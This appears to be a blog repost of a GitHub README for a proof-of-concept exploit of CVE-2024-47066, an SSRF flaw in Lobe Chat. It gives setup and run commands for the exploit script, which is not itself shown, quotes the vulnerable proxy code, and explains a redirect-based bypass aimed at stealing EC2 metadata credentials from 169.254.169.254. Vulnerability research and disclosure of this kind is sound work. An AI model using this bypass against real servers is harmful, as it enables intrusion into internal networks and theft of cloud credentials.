> ## Content Index
> Fetch the complete content index at: https://darkwebinformer.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# PoC for Lobe Chat CVE-2024-47066
- URL: https://darkwebinformer.com/poc-for-lobe-chat-cve-2024-47066/
- Published: 2024-09-24T17:45:26.000Z
- Updated: 2025-09-04T22:26:24.000Z
- Author: Dark Web Informer
- Tags: Vulnerabilities

GitHub: <https://github.com/l8BL/CVE-2024-47066>  
Last Commit: September 24th, 2024

# CVE-2024-47066

[](https://github.com/l8BL/CVE-2024-47066#cve-2024-47066)

★ CVE-2024-47066 LobeChat SSRF PoC ★

## Description

[](https://github.com/l8BL/CVE-2024-47066#description)

**CVE-2024-47066** : Lobe Chat is an open-source artificial intelligence chat framework. Prior to version 1.19.13, server-side request forgery protection implemented in `src/app/api/proxy/route.ts` does not consider redirect and could be bypassed when attacker provides an external malicious URL which redirects to internal resources like a private network or loopback address. Version 1.19.13 contains an improved fix for the issue.

**Reporter**: [a1loy](https://github.com/a1loy)

0:00 

/0:17 

1× 

## How to use

[](https://github.com/l8BL/CVE-2024-47066#how-to-use)

### Git clone

[](https://github.com/l8BL/CVE-2024-47066#git-clone)

```
git clone https://github.com/l8BL/CVE-2024-47066.git
cd CVE-2024-47066

```

### Setup Vulnerable Environment

[](https://github.com/l8BL/CVE-2024-47066#setup-vulnerable-environment)cd docker  
docker-compose up -d

(External) LodeChat --> **SSRF ATTACK** \--> (Internal) [http://www.internal-service:4000](http://www.internal-service:4000/)

### Install packages

[](https://github.com/l8BL/CVE-2024-47066#install-packages)pip install -r requirements.txt

### Command

[](https://github.com/l8BL/CVE-2024-47066#command)python3 CVE-2024-47066.py -v <URL\_TO\_EXPLOIT> -i <URL\_TO\_REQUEST>

### Example

[](https://github.com/l8BL/CVE-2024-47066#example)python3 CVE-2024-47066.py -v http://localhost:3210 -i http://www.internal-service:4000

### Output

[](https://github.com/l8BL/CVE-2024-47066#output)

**CVE-2024-47066** 

![](https://storage.ghost.io/c/6b/16/6b16ac9c-cd67-432f-b0f3-bbec941084ff/content/images/2024/09/21982.png)

### Result

[](https://github.com/l8BL/CVE-2024-47066#result)

![](https://storage.ghost.io/c/6b/16/6b16ac9c-cd67-432f-b0f3-bbec941084ff/content/images/2024/09/345298982.png)

# Analysis

[](https://github.com/l8BL/CVE-2024-47066#analysis)

## Vulnerable point (/app/api/proxy/route.ts)

[](https://github.com/l8BL/CVE-2024-47066#vulnerable-point-appapiproxyroutets)

```
import { isPrivate } from 'ip';
import { NextResponse } from 'next/server';
import dns from 'node:dns';
import { promisify } from 'node:util';

const lookupAsync = promisify(dns.lookup);

export const runtime = 'nodejs';

/**
 * just for a proxy
 */
export const POST = async (req: Request) => {
  const url = new URL(await req.text());
  let address;

  try {
    const lookupResult = await lookupAsync(url.hostname);
    address = lookupResult.address;
  } catch (err) {
    console.error(`${url.hostname} DNS parser error:`, err);

    return NextResponse.json({ error: 'DNS parser error' }, { status: 504 });
  }

  const isInternalHost = isPrivate(address);

  if (isInternalHost)
    return NextResponse.json({ error: 'Not support internal host proxy' }, { status: 400 });

  const res = await fetch(url.toString());

  return new Response(res.body, { headers: res.headers });
};

```

Below line 26, there is nowhere to determine the Redirect response. So, when using a URL shortener, you can easily bypass the "isPrivate()" function.

# Attack Scenario

[](https://github.com/l8BL/CVE-2024-47066#attack-scenario)

## Steal EC2 Metadata Credentials

[](https://github.com/l8BL/CVE-2024-47066#steal-ec2-metadata-credentials)

Make Request to [http://169.254.169.254](http://169.254.169.254/)

# Disclaimer

[](https://github.com/l8BL/CVE-2024-47066#disclaimer)

This repository is not intended to be SSRF exploit to CVE-2024-47066\. The purpose of this project is to help people learn about this vulnerability, and perhaps test their own applications.

# Reference

[](https://github.com/l8BL/CVE-2024-47066#reference)

<https://github.com/advisories/GHSA-3fc8-2r3f-8wrg>